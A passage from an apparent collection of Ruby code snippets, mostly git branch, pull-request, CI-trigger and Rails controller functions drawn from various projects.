token=#{auth_token}\"\n\n # Set the PR to 'pending'\n GithubStatus.set_status(statuses, auth_token, 'pending', 'Preparing build')\n\n # Get the Pull Request\n begin\n trees_url = URI(trees)\n Cyclid.logger.debug \"Getting root for #{trees_url}\"\n\n request = Net::HTTP::Get.new(trees_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(trees_url.hostname, trees_url.port)\n http.use_ssl = (trees_url.scheme == 'https')\n response = http.request(request)\n\n Cyclid.logger.debug response.inspect\n raise \"couldn't get repository root\" \\\n unless response.code == '200'\n\n root = Oj.load response.body\n rescue StandardError => ex\n Cyclid.logger.error \"failed to retrieve Pull Request root: #{ex}\"\n return_failure(500, 'could not retrieve Pull Request root')\n end\n\n # See if a .cyclid.yml or .cyclid.json file exists in the project\n # root\n job_url = nil\n job_type = nil\n root['tree'].each do |file|\n match = file['path'].match(/\\A\\.cyclid\\.(json|yml)\\z/)\n next unless match\n\n job_url = URI(file['url'])\n job_type = match[1]\n end\n\n Cyclid.logger.debug \"job_url=#{job_url}\"\n\n if job_url.nil?\n GithubStatus.set_status(statuses, auth_token, 'error', 'No Cyclid job file found')\n return_failure(400, 'not a Cyclid repository')\n end\n\n # Pull down the job file\n begin\n Cyclid.logger.info \"Retrieving PR job from #{job_url}\"\n\n request = Net::HTTP::Get.new(job_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(job_url.hostname, job_url.port)\n http.use_ssl = (job_url.scheme == 'https')\n response = http.request(request)\n raise \"couldn't get Cyclid job\" unless response.code == '200'\n\n job_blob = Oj.load response.body\n case job_type\n when 'json'\n job_definition = Oj.load(Base64.decode64(job_blob['content']))\n when 'yml'\n job_definition = YAML.load(Base64.decode64(job_blob['content']))\n end\n\n # Insert this repository & branch into the sources\n #\n # XXX Could this cause collisions between the existing sources in\n # the job definition? Not entirely sure what the workflow will\n # look like.\n job_sources = job_definition['sources'] || []\n job_sources << { 'type' => 'git',\n 'url' => html_url.to_s,\n 'branch' => ref,\n 'token' => auth_token }\n job_definition['sources'] = job_sources\n\n Cyclid.logger.debug \"sources=#{job_definition['sources']}\"\n rescue StandardError => ex\n GithubStatus.set_status(statuses,\n auth_token,\n 'error',\n \"Couldn't retrieve Cyclid job file\")\n Cyclid.logger.error \"failed to retrieve Github Pull Request job: #{ex}\"\n raise\n end\n\n Cyclid.logger.debug \"job_definition=#{job_definition}\"\n\n begin\n callback = GithubCallback.new(statuses, auth_token)\n job_from_definition(job_definition, callback)\n rescue StandardError => ex\n GithubStatus.set_status(statuses, auth_token, 'failure', ex)\n return_failure(500, 'job failed')\n end\n end",
"def create_branches(repo)\n @branch_names.collect {|branch_name| \n Branch.new(branch_name ,Grit::Commit.find_all(repo, branch_name).sort_by { |k| k.authored_date}.reverse)}\n end",
"def create_branch(_base_branch, _new_branch)\n puts 'TODO: Implement Git.create_branch'\n end",
"def initialize(git_uri, branches, resource_template_file, job_template_file, common_resource_template_file, resource_type_template_file, group_per_branch)\n @git_uri = git_uri\n @branches = branches\n @resource_template_file = resource_template_file\n @job_template_file = job_template_file\n @common_resource_template_file = common_resource_template_file\n @resource_type_template_file = resource_type_template_file\n @group_per_branch = group_per_branch\n end",
"def create\n @branch = Branch.new(branch_params.map{|k,v| {k.to_sym => v.class == ActionController::Parameters ? [v.to_hash] : v.to_s}}.reduce({}, :merge))\n\n respond_to do |format|\n if @branch.save\n format.html { redirect_to @branch, success: 'Branch was successfully created.' }\n format.json { render :show, status: :created, location: @branch }\n else\n format.html { render :new }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_branch(branch, params = {}, body = {})\n CircleCi.request(conf, \"#{base_path}/tree/#{branch}\", params).post(body)\n end",
"def pull_request(_input)\n puts 'TODO: Implement Git.pull_request'\n # TODO: Validate input\n # input[:issue].to_s\n # input[:base_branch].to_s\n end",
"def build_branch(branch, params = {}, body = {})\n CircleCi.request(@conf, \"/project/#{username}/#{project}/tree/#{branch}\", params).post(body)\n end",
"def create_pullrequest options\n project = options.fetch(:project)\n params = {\n :base => options.fetch(:base),\n :head => options.fetch(:head)\n }\n\n if options[:issue]\n params[:issue] = options[:issue]\n else\n params[:title] = options[:title] if options[:title]\n params[:body] = options[:body] if options[:body]\n end\n\n res = post \"https://%s/repos/%s/%s/pulls\" %\n [api_host(project.host), project.owner, project.name], params\n\n res.error! unless res.success?\n res.data\n end",
"def create_review_branch(repo)\n\trepo = repo.gsub(/\\w*-?\\w*\\//,'')\n\tputs \"\"\n\tputs \"Deleting old and creating new review branch for #{repo}\"\n\t`cd ~/workspace/#{repo}; git checkout master; git branch -d review; git push origin --delete review; git branch review; git push -u origin review`\nend",
"def create_pull_request(project_id_or_key, repository_id_or_name, params = {})\n post(\"projects/#{project_id_or_key}/git/repositories/#{repository_id_or_name}/pullRequests\", params)\n end",
"def initialize(repo_name, repo_url, user_email, repo_branch = 'master')\n @repo_name = repo_name\n @repo_url = repo_url\n @repo_branch = repo_branch\n @user_email = user_email\n end",
"def create\r\n if @current_shop.branches_count >= @current_shop.max_branches_count\r\n flash[:error] = t('You have no authories to create more branch.')\r\n redirect_to backend_shop_branches_path(@current_shop.slug)\r\n else\r\n @branch = @current_shop.branches.build(branch_params.except(:supported_order_types, :supported_scratchpad_order_types, :supported_send_sms_order_types))\r\n @branch.supported_order_types = params[:branch][:supported_order_types].nil? ?\r\n nil: params[:branch][:supported_order_types].select{|type| Order::order_types_array.index(type).present? }.join(',')\r\n @branch.supported_scratchpad_order_types = params[:branch][:supported_scratchpad_order_types].nil? ?\r\n nil: params[:branch][:supported_scratchpad_order_types].select{|type| Order::order_types_array.index(type).present? }.join(',')\r\n @branch.supported_send_sms_order_types = params[:branch][:supported_send_sms_order_types].nil? ?\r\n nil: params[:branch][:supported_send_sms_order_types].select{|type| Order::order_types_array.index(type).present? }.join(',')\r\n #@branch = @current_shop.branches.build(branch_params)\r\n respond_to do |format|\r\n if @branch.save\r\n format.html { redirect_to backend_shop_branch_branch_steps_path(@current_shop.slug, @branch) + \"/detail_info\" }\r\n format.json { render action: 'show', status: :created, location: @branch }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @branch.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end\r\n end",
"def create_branch new_branch_name\n repo.create_branch new_branch_name\n end",
"def create_pull_request_comment_reply(repo, pull_id, body, comment_id, options = {})\n options.merge!({\n :body => body,\n :in_reply_to => comment_id\n })\n post \"#{Repository.path repo}/pulls/#{pull_id}/comments\", options\n end",
"def branch_type\n data['branch-type']\n end",
"def create_branch(branch)\n client.create_ref repo, \"heads/#{branch}\", base_sha\n end",
"def git_branch_create(new_branch_name)\n repo.create_branch(new_branch_name)\n end",
"def initialize(attributes)\n attributes = from_json(attributes)\n @attributes = attributes\n @repository = Repository.new(attributes[:repository])\n @uri = attributes[:uri]\n @branch = attributes[:branch]\n @pusher_id = attributes[:pusher_id]\n @after = attributes[:after]\n @before = attributes[:before]\n @pusher_name = attributes[:pusher_name]\n @ref = attributes[:ref]\n @commits = attributes[:commits].collect{|commit| Commit.new(commit)}\n end",
"def create_pull_request(repo, base, head, title, body = nil, options = {})\n pull = {\n :base => base,\n :head => head,\n :title => title,\n }\n pull[:body] = body unless body.nil?\n post \"#{Repository.path repo}/pulls\", options.merge(pull)\n end",
"def pull_request_attributes\n {\n title: title,\n destination_branch: destination_branch,\n source_branch: git.current_branch,\n pivotal_ids: pivotal_ids,\n jira_ids: jira_ids,\n editor: options[:editor]\n }\n end",
"def initialize(id, name, rate_type_id, rate_type_name, room_type_content, rate_type_content)\n @id = id\n @name = name\n @rate_type_id = rate_type_id\n @rate_type_name = rate_type_name\n @room_type_content = room_type_content\n @rate_type_content = rate_type_content\n end",
"def initialize(context)\n super()\n @context = Hashie::Mash.new(context)\n @repository_info = @context.repository\n pull_request_info = @context.pull_request\n @event_created_at = pull_request_info.try(:created_at)\n @event_user_info = pull_request_info.try(:user)\n @commit_info = pull_request_info.try(:commits)\n end",
"def create_comment\n if file?\n puts \"| --- file\"\n files.each do |file|\n comment = Gif.where(github_type: \"file\").detect { |gif| file[:filename].downcase.include? gif.keyword.downcase }\n create_pull_request_comment(comment.image, file.filename, 1) if comment.present?\n end\n end\n\n if comment?\n puts \"| --- comment\"\n testies = Gif.where(github_type: \"comment\").detect { |gif| comment.downcase.include? gif.keyword.downcase }\n if testies.present?\n add_comment(testies.image) if issue_comment?\n create_pull_request_comment_reply(testies.image) if pull_request_review_comment?\n end\n end\n\n if branch?\n puts \"| --- branch\"\n comment = Gif.where(github_type: \"branch\").detect { |gif| head_branch.downcase.include? gif.keyword.downcase }\n unless comment\n comment = Gif.find_by(github_type: \"merge\") if merged?\n comment = Gif.find_by(github_type: \"squerge\") if squerged?\n end\n add_comment(comment.image) if comment.present?\n end\n end",
"def initialize_client_clone_and_push(type, module_name, branch, repo_url, local_repo_dir, version=nil)\n # moved this part from 'check_local_dir_exists_with_content' to this method since this only deletes .git folder\n # which can cause us problems if import fails\n if File.directory?(\"#{local_repo_dir}/.git\")\n response = unlink_local_clone?(type,module_name,version)\n unless response.ok?\n # in case delete went wrong, we raise usage error\n raise DtkError.new(\"Directory (#{local_repo_dir} is set as a git repo; to continue it must be a non git repo; this can be handled by shell command 'rm -rf #{local_repo_dir}/.git'\")\n end\n # we return to normal flow, since .git dir is removed\n end\n\n Response.wrap_helper_actions() do\n ret = Hash.new\n repo_dir = local_repo_dir(type,module_name)\n\n repo = create(repo_dir,branch,:init => true, :no_initial_commit => true)\n repo.add_remote(remote(),repo_url)\n remote_branch = local_branch = branch\n\n repo.pull_remote_to_local(remote_branch,local_branch,remote())\n repo.stage_changes()\n repo.commit(\"Adding files during initialization\")\n repo.push_with_remote(remote(), remote_branch)\n\n commit_sha = repo.head_commit_sha()\n {\"repo_obj\" => repo,\"commit_sha\" => commit_sha}\n end\n end",
"def branches(type = :master, dir = Dir.pwd, _options = {})\n FalkorLib::Git.config(\"gitflow.branch.#{type}\", dir)\n #confs[type.to_sym]\n end",
"def initialize(repo, branch, commit)\n super repo, branch\n\n @additions = 0\n @authored_date = commit.authored_date\n @committer = Actor.new repo, commit.committer\n @committed_date = commit.committed_date\n @deletions = 0\n @id = commit.id\n @message = commit.message\n\n authors = repo.authors(branch)\n @author = authors[Actor.id_for commit.author]\n @author = Actor.new repo, commit.author if author.nil?\n @author.add_commit self\n end",
"def initialize(name, repository_name=nil, git_branch=nil)\n @name = name\n @repository_name = repository_name\n @git_branch = git_branch\n end",
"def new_issue_branch(branch, branch_project: nil)\n branch_project ||= project\n link = url_helpers.project_compare_path(branch_project, from: branch_project.default_branch, to: branch)\n\n body = \"created branch [`#{branch}`](#{link}) to address this issue\"\n\n create_note(NoteSummary.new(noteable, project, author, body, action: 'branch'))\n end",
"def create\n hash = params[:comment].merge(user_variables)\n @comment = Comment.new(hash)\n @comment.commentable = Post.find(params[:post_id]) if params[:post_id]\n @commentable = @comment.commentable\n case @commentable.class.name\n when 'Post'\n @goto_url = @commentable.url\n when 'Organization'\n @goto_url = organization_url(@commentable)\n end\n\n # TODO: make this a user-defined variable in a global settings table\n @comment.approved_at = Time.now.utc\n\n respond_to do |format|\n if @comment.save!\n flash[:notice] = 'Comment was successfully created.'\n format.html { redirect }\n format.xml { render :xml => @comment, :status => :created, :location => @comment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @comment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @breadcrumb = 'create'\n @tariff_type = TariffType.new(params[:tariff_type])\n @tariff_type.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @tariff_type.save\n format.html { redirect_to @tariff_type, notice: t('activerecord.attributes.tariff_type.create') }\n format.json { render json: @tariff_type, status: :created, location: @tariff_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tariff_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ensure_pull_request(owner, repo, pullreq_id,\n comments = true, commits = true, history = true,\n state = nil, actor = nil, created_at = nil)\n pulls_reqs = db[:pull_requests]\n\n project = ensure_repo(owner, repo)\n\n if project.nil?\n warn \"Could not find repo #{owner}/#{repo} for retrieving pull request #{pullreq_id}\"\n return\n end\n\n retrieved = retrieve_pull_request(owner, repo, pullreq_id)\n\n if retrieved.nil?\n warn \"Could not retrieve pull_req #{owner}/#{repo} -> #{pullreq_id}\"\n return\n end\n\n base_repo = ensure_repo(retrieved['base']['repo']['owner']['login'],\n retrieved['base']['repo']['name'])\n\n base_commit = ensure_commit(retrieved['base']['repo']['name'],\n retrieved['base']['sha'],\n retrieved['base']['repo']['owner']['login'])\n\n if pr_is_intra_branch(retrieved)\n head_repo = base_repo\n head_commit = ensure_commit(retrieved['base']['repo']['name'],\n retrieved['head']['sha'],\n retrieved['base']['repo']['owner']['login'])\n debug pr_log_msg(retrieved) + ' is intra-branch'\n else\n head_repo = if pr_has_head_repo(retrieved)\n ensure_repo(retrieved['head']['repo']['owner']['login'],\n retrieved['head']['repo']['name'])\n end\n\n head_commit = if not head_repo.nil?\n ensure_commit(retrieved['head']['repo']['name'],\n retrieved['head']['sha'],\n retrieved['head']['repo']['owner']['login'])\n end\n end\n\n pull_req_user = ensure_user(retrieved['user']['login'], false, false)\n\n merged = if retrieved['merged_at'].nil? then false else true end\n closed = if retrieved['closed_at'].nil? then false else true end\n\n pull_req = pulls_reqs.first(:base_repo_id => project[:id],\n :pullreq_id => pullreq_id)\n if pull_req.nil?\n pulls_reqs.insert(\n :head_repo_id => if not head_repo.nil? then head_repo[:id] end,\n :base_repo_id => if not base_repo.nil? then base_repo[:id] end,\n :head_commit_id => if not head_commit.nil? then head_commit[:id] end,\n :base_commit_id => if not base_commit.nil? then base_commit[:id] end,\n :pullreq_id => pullreq_id,\n :intra_branch => pr_is_intra_branch(retrieved)\n )\n info 'Added ' + pr_log_msg(retrieved)\n else\n debug pr_log_msg(retrieved) + ' exists'\n end\n\n pull_req = pulls_reqs.first(:base_repo_id => project[:id],\n :pullreq_id => pullreq_id)\n\n # Add a fake (or not so fake) issue in the issues table to serve\n # as root for retrieving discussion comments for this pull request\n issues = db[:issues]\n issue = issues.first(:pull_request_id => pull_req[:id])\n\n if issue.nil?\n issues.insert(:repo_id => base_repo[:id],\n :assignee_id => nil,\n :reporter_id => nil,\n :issue_id => pullreq_id,\n :pull_request => true,\n :pull_request_id => pull_req[:id],\n :created_at => date(retrieved['created_at']))\n debug 'Added accompanying_issue for ' + pr_log_msg(retrieved)\n else\n debug 'Accompanying issue for ' + pr_log_msg(retrieved) + ' exists'\n end\n\n if history\n # Actions on pull requests\n opener = pull_req_user[:login]\n ensure_pull_request_history(pull_req[:id], date(retrieved['created_at']),\n 'opened', opener)\n\n merger = if retrieved['merged_by'].nil? then actor else retrieved['merged_by']['login'] end\n ensure_pull_request_history(pull_req[:id], date(retrieved['merged_at']),\n 'merged', merger) if (merged && state != 'merged')\n\n closer = if merged then merger else actor end\n ensure_pull_request_history(pull_req[:id], date(retrieved['closed_at']),\n 'closed', closer) if (closed && state != 'closed')\n ensure_pull_request_history(pull_req[:id], date(created_at), state, actor) unless state.nil?\n end\n ensure_pull_request_commits(owner, repo, pullreq_id, pull_req, retrieved) if commits\n ensure_pullreq_comments(owner, repo, pullreq_id, pull_req) if comments\n ensure_issue_comments(owner, repo, pullreq_id, pull_req[:id]) if comments\n\n pull_req\n end",
"def execute\n if (!self.pull_request_id)\n current = GitHub::PullRequest.current\n self.pull_request_id = current.number if current\n end\n self.pull_request_id ||= cli.prompt(\"Pull Request ID: \")\n GitHub.connect do\n if config.deployable_label\n with_labelling do\n merge\n end\n else\n merge\n end\n end\n end",
"def new(options = {}, &block)\n #@api_client = Github::Client.new(options, &block)\n end",
"def branch(name)\n gitrepo.create_branch(name)\n end",
"def initialize(options={})\n @id = options[\"id\"].to_i\n @description = options[\"description\"]\n @git_repo = options[\"git_repo\"]\n end",
"def create_pull_request_for_issue(repo, base, head, issue, options = {})\n pull = {\n :base => base,\n :head => head,\n :issue => issue\n }\n post \"#{Repository.path repo}/pulls\", options.merge(pull)\n end",
"def initialize(work_options={})\n \n @id = work_options[\"id\"]\n @name = work_options[\"name\"]\n @assignmentlink = work_options[\"assignmentlink\"]\n @contributor_id = work_options[\"contributor_id\"]\n end",
"def create_clone_with_branch(type, module_name, repo_url, branch=nil, version=nil, module_namespace=nil, opts={})\n Response.wrap_helper_actions do\n full_name = module_namespace ? ModuleUtil.resolve_name(module_name, module_namespace) : module_name\n\n modules_dir = modules_dir(type,full_name,version,opts)\n FileUtils.mkdir_p(modules_dir) unless File.directory?(modules_dir)\n\n target_repo_dir = local_repo_dir(type,full_name,version,opts)\n if File.exists?(target_repo_dir)\n # if local copy of module exists then move that module to backups location\n if opts[:backup_if_exist]\n backup_dir = backup_dir(type, full_name)\n FileUtils.mv(target_repo_dir, backup_dir)\n puts \"Backup of existing module directory moved to '#{backup_dir}'\"\n else\n raise ErrorUsage.new(\"Directory '#{target_repo_dir}' is not empty; it must be deleted or removed before retrying the command\", :log_error => false)\n end\n end\n\n begin\n opts_clone = (opts[:track_remote_branch] ? {:track_remote_branch => true} : {})\n GitAdapter.clone(repo_url, target_repo_dir, branch, opts_clone)\n rescue => e\n # Handling Git error messages with more user friendly messages\n e = GitErrorHandler.handle(e)\n\n #cleanup by deleting directory\n FileUtils.rm_rf(target_repo_dir) if File.directory?(target_repo_dir)\n error_msg = \"Clone to directory (#{target_repo_dir}) failed\"\n\n DtkLogger.instance.error_pp(e.message, e.backtrace)\n\n raise ErrorUsage.new(error_msg, :log_error => false)\n end\n {\"module_directory\" => target_repo_dir}\n end\n end",
"def create\n @branch = Branch.create(branch_params)\n if @branch.valid?\n render json: @branch, status: :accepted\n else\n render json: {errors: @branch.errors.full_messages}, status: :unprocessable_entity \n end\n end",
"def process_created_issue_comment(issue_comment_payload)\n pr_name = issue_comment_payload['repository']['full_name'].to_s\n pr_number = issue_comment_payload['issue']['number'].to_s\n comment_user = issue_comment_payload['comment']['user']['id'].to_s\n approvals = parse_comment_body(issue_comment_payload['comment']['body'])\n\n pull_request = @client.pull_request(pr_name, pr_number)\n current_commit_hash = pull_request['head']['sha'].to_s\n\n submit_status(pr_name, pr_number, current_commit_hash, comment_user, approvals)\n end",
"def create\n @branch = Branch.new(branch_params)\n\n respond_to do |format|\n if @branch.save\n format.html { redirect_to @branch, notice: 'Branch was successfully created.' }\n format.json { render action: 'show', status: :created, location: @branch }\n else\n format.html { render action: 'new' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(creation_date, state_data)\n @creation_date = creation_date\n @state_data = state_data\n end",
"def create_comment_for_pull(id, comment)\n uri = URI(uri_comment_on_pull(id))\n execute_http_request(:post, uri, comment)\n end",
"def create_comment_reply(repo, pull_number, comment_id, body, options = {})\n opts = options.dup\n opts[:body] = body\n post \"#{Repository.path repo}/pulls/#{pull_number}/comments/#{comment_id}/replies\", opts\n end",
"def merge_pull_request\n git.merge pull_request.branch\n end",
"def initialize id, type\n @type = type\n ActiveRecord::Base.connection_pool.with_connection do \n @repo = SupplierProjectRepo.find(id)\n end\n end",
"def initialize(type:nil, name:nil, created_at: nil, params: nil, run_context: nil, cookbook_name: nil, recipe_name: nil, enclosing_provider: nil)\n @type = type\n @name = name\n @created_at = created_at\n @params = params\n @run_context = run_context\n @cookbook_name = cookbook_name\n @recipe_name = recipe_name\n @enclosing_provider = enclosing_provider\n end",
"def is_branch_build\n self.pull_request_number == '-1'\n end",
"def set_pull_request\n @pull_request = PullRequest.find(params[:id])\n end",
"def create!(**options)\n options[:validate] = true if options[:validate].nil?\n return false if options[:validate] && !git_condition_valid?\n\n git.push(github_token_url, topic_branch)\n pr_number = github.create_pull_request(**generate_create_pr_options(**options))\n github.add_labels(pr_number, *options[:labels]) unless options[:labels].nil?\n unless options[:project_column_name].nil?\n github.add_to_project(pr_number, **generate_add_to_project_options(**options))\n end\n true\n end",
"def create\n @providers_branch = Providers::Branch.new(providers_branch_params)\n\n respond_to do |format|\n if @providers_branch.save\n format.html { redirect_to providers_branches_path, notice: 'Branch was successfully created.' }\n format.json { redirect_to providers_branches_path, status: :created, location: @providers_branch }\n else\n format.html { render :new }\n format.json { render json: @providers_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @branch = Branch.new(branch_params)\n @starting_range = params[:branch][:text]\n @ending_range = params[:branch][:range]\n @starting_range = Integer(@starting_range)\n @ending_range = Integer(@ending_range)\n if @starting_range <= @ending_range\n @random_number = Random.new.rand(@starting_range..@ending_range)\n @branch.text = @random_number.to_s\n @branch.range = @starting_range.to_s + \" - \" + @ending_range.to_s\n @branch.uid = params[:branch][:uid].strip\n @branch.parent = params[:branch][:parent].strip\n respond_to do |format|\n if @branch.save\n format.html { redirect_to action: \"index\", notice: 'Branch was successfully updated.' }\n format.json { render action: 'show', status: :created, location: @branch }\n else\n format.html { render action: 'new' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n else\n format.json { render json: \"[{error: invalid range}]\", status: :unprocessable_entity }\n end\n end",
"def create_pull_request_review(repo, pull_request_number, event, body = nil, options = {})\n review = {\n event: event,\n accept: CUSTOM_ACCEPT_HEADER\n }\n review[:body] = body unless body.nil?\n post \"#{Repository.path repo}/pulls/#{pull_request_number}/reviews\", options.merge(review)\n end",
"def create\n #@branch = Branch.new(params[:branch])\n\n respond_to do |format|\n if @branch.save\n format.html { redirect_to(@branch, :notice => 'Branch was successfully created.') }\n format.xml { render :xml => @branch, :status => :created, :location => @branch }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @branch.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def initialize(init_args = {})\n @source = define_source(init_args)\n @type = define_type(init_args)\n @datetime = Faker::Time.backward(days: Faker::Number.number(digits: 1))\n @reason = define_reason(init_args)\n end",
"def initialize\n @id = \"_\" + UUID.new.generate\n @version = \"2.0\"\n @issue_instant = Time.now.utc\n end",
"def create(user_name, repo_name, issue_id, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n _validate_presence_of issue_id\n\n normalize! params\n # _merge_mime_type(:issue_comment, params)\n filter! VALID_ISSUE_COMMENT_PARAM_NAME, params\n assert_required_keys(%w[ content ], params)\n\n post_request(\"/1.0/repositories/#{user}/#{repo.downcase}/issues/#{issue_id}/comments/\", params)\n end",
"def create\n @star_branch = Star::Branch.new(params[:star_branch])\n\n respond_to do |format|\n if @star_branch.save\n format.html { redirect_to @star_branch, notice: 'Branch was successfully created.' }\n format.json { render json: @star_branch, status: :created, location: @star_branch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @star_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(repo, options)\n @repo = repo\n\n options[:type] ||= 'changelog'\n options[:format] ||= 'ansi'\n\n @options = OpenStruct.new(options)\n\n @options.level ||= 0\n end",
"def new_commit(type)\n Commit.new.tap do |commit|\n commit.type = type\n end\nend",
"def branch_to_merge_into\n @branch_to_merge_into ||= git.latest_branch_for(branch_type)\n end",
"def create_branch(name, target = 'upstream/master')\n # fetch the remote if defined in the target\n unless branch_exist?(name)\n remote_name, ref = target.split('/', 2)\n fetch(remote_name)\n logger.info(\"Creating branch: #{name} for #{path} from #{target}\")\n found_ref = find_ref(target)\n repo.create_branch(name, found_ref)\n else\n repo.branches[name]\n end\n end",
"def parse!\n @vcs = detect_vcs\n OpenStruct.new({\n branch: branch,\n deleted: deleted? || false,\n module_name: repo_name.sub(%r{^.*-}, ''),\n repo_name: repo_name,\n repo_user: repo_user\n }.delete_if { |_k, v| v.nil? })\n end",
"def create_pr\n ErrorEmittingExecutor.execute(\"hub pull-request -f -m '#{COMMIT_DESCRIPTION}'\")\nend",
"def branch_from_repo_url(repo_url)\n if repo_url =~ /#\\S+[^\\/]/\n @branch = repo_url.split('#')[1]\n else\n @branch = 'master'\n end\n end",
"def new_pull(owner, repo, options={})\n\t\t\tPullRequests.post(\"/repos/#{owner}/#{repo}/pulls\", headers: @auth, body: options.to_json)\n\t\tend",
"def create\n @breadcrumb = 'create'\n @work_order_type = WorkOrderType.new(params[:work_order_type])\n @work_order_type.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @work_order_type.save\n format.html { redirect_to @work_order_type, notice: crud_notice('created', @work_order_type) }\n format.json { render json: @work_order_type, status: :created, location: @work_order_type }\n else\n @woareas = work_order_areas_dropdown\n @charge_accounts = charge_accounts_dropdown\n @projects = projects_dropdown\n @accounts = project_charge_accounts_dropdown(nil)\n format.html { render action: \"new\" }\n format.json { render json: @work_order_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @branch = Branch.new(parent_id: params[:branch_id])\n if params[:branch_id]\n @branch_details = Branch.find(params[:branch_id])\n @title = \"Create a branch under #{@branch_details.name}\"\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @branch }\n end\n end",
"def create_pull_review(repo, pull_number, options = {})\n post \"#{Repository.path repo}/pulls/#{pull_number}/reviews\", options\n end",
"def initialize(type, *args, &block)\n @type = type\n raise ArgumentError, 'Type must be :before, :after, :around, or :failure' unless [:before, :after, :around, :failure].include?(type)\n\n options = args.last.is_a?(Hash) ? args.pop : {}\n @methods = args\n @methods.concat(Array(options.delete(:do)))\n @methods << block if block_given?\n raise ArgumentError, 'Method(s) for callback must be specified' unless @methods.any?\n\n options = {bind_to_object: self.class.bind_to_object, terminator: self.class.terminator}.merge(options)\n\n # Proxy lambda blocks so that they're bound to the object\n bind_to_object = options.delete(:bind_to_object)\n @methods.map! do |method|\n bind_to_object && method.is_a?(Proc) ? bound_method(method) : method\n end\n\n @terminator = options.delete(:terminator)\n @branch = Branch.new(options)\n end",
"def create_pull_request_review_comment_reaction(repo, id, reaction, options = {})\n options = ensure_api_media_type(:reactions, options.merge(:content => reaction))\n post \"#{Repository.path repo}/pulls/comments/#{id}/reactions\", options\n end",
"def new\n @branch = Branch.new\n respond_with(@branch)\n end",
"def create\n @customerbranch = Customerbranch.new(customerbranch_params.map{|k,v| {k.to_sym => v.class == ActionController::Parameters ? [v.to_hash] : v.to_s}}.reduce({}, :merge))\n\n respond_to do |format|\n if @customerbranch.save\n format.html { redirect_to @customerbranch, notice: 'Customerbranch was successfully created.' }\n format.json { render :show, status: :created, location: @customerbranch }\n else\n format.html { render :new }\n format.json { render json: @customerbranch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @branch = Branch.new branch_params.except(*[:lat, :lng]).merge(coordinates: [branch_params[:lng], branch_params[:lat]])\n @branch.bussiness_id = current_user.bussiness.id\n if @branch.save\n render 'show.json.jbuilder', status: :created\n else\n render json: @branch.errors, status: :bad_request\n end\n end",
"def create(key, options)\n build_status_api.post(@commit.hash, key, options).tap do |m|\n m.revision = @commit.hash\n m.repo_keys = @commit.repo_keys\n end\n end",
"def create\n\n @branch = Branch.new(branch_params)\n\n respond_to do |format|\n if @branch.save\n format.html { redirect_to @branch, notice: 'Store branch was successfully created.' }\n format.json { render action: 'show', status: :created, location: @branch }\n else\n format.html { render action: 'new' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize( repo, tag:, node:, rev: 0, type: '' )\n\t\t@repo = repo\n\t\t@name = tag\n\t\t@node = node\n\t\t@rev = rev\n\t\t@type = type\n\tend",
"def new\n\t\t@parent_id = params.delete(:parent_id)\n\t\t@commentable = find_commentable\n\t\t@comment = Comment.new(:parent_id => @parent_id, :commentable_id => @commentable.id, :commentable_type => @commentable.class.to_s)\n\tend",
"def initialize repo, type\n @repo, @process, @type = repo, 'activity', type\n @log = RepoLog.create_log @repo, @process, @type\n end",
"def initialize(options)\n self.token = options[:token]\n self.request = options[:request]\n self.exception_data = options[:exception_data]\n self.organization = options[:organization]\n self.repo = options[:repo]\n self.issue_options = options[:issue_options]\n self.project = nil\n self.column_id = nil \n end",
"def build_branch(username, project, branch, params = {}, body = {})\n default_config.logger.warn('[Deprecated] Use instance method CircleCi::Project#build_branch instead')\n new(username, project, default_config).build_branch(branch, params, body)\n end",
"def branch(target, options = {})\n branches << Branch.new(target, options)\n end",
"def perform_post_request(build_type_id, check_for_changes_only, branch: nil)\n if check_for_changes_only\n http_post \"httpAuth/app/rest/vcs-root-instances/checkingForChangesQueue?locator=buildType:#{build_type_id}\"\n else\n http_post \"httpAuth/app/rest/buildQueue\", \"<build branchName=\\\"#{branch}\\\"><buildType id=\\\"#{build_type_id}\\\"/></build>\"\n end\n end",
"def create\n standard_create(DonationType, donation_type_params)\n end",
"def create\n \t# NB: this shouldn't get called -- the specific decision type controllers should get called\n \t \n\t# TODO: fix me\n\t@current_user_id = 1\n\n @decision = Decision.new(\n \tparams[:decision].merge({\n \t\tcreator_user_id => @creator_user_id\n \t})\n )\n\t@project = Project.find(params[:project_id])\n\n\trespond_to do |format|\n\t\t#if params[:decision_type_id].nil?\n\t\tif @decision.decision_type_id.nil?\n\t\t\tformat.html { render :action => \"new\" }\n\t\t\tformat.xml { render :xml => @decision.errors, :status => :unprocessable_entity }\n\t\telse\n\t\t\tdecision_type_text_id = DecisionType.find(@decision.decision_type).text_id\n\t\t\tdecision_type = decision_type_text_id.camelize\n\t\t\t@decision_detail = eval(decision_type + \"Decision.new\")\n\n\t\t\tif @decision_detail.summary\n\t\t\t\tif @decision.save && @decision_detail.save\n\t\t\t\t\tflash[:notice] = 'Decision was successfully created.'\n\t\t\t\t\tformat.html { redirect_to(project_path(@project)) }\n\t\t\t\t\tformat.xml { render :xml => @decision, :status => :created, :location => @decision 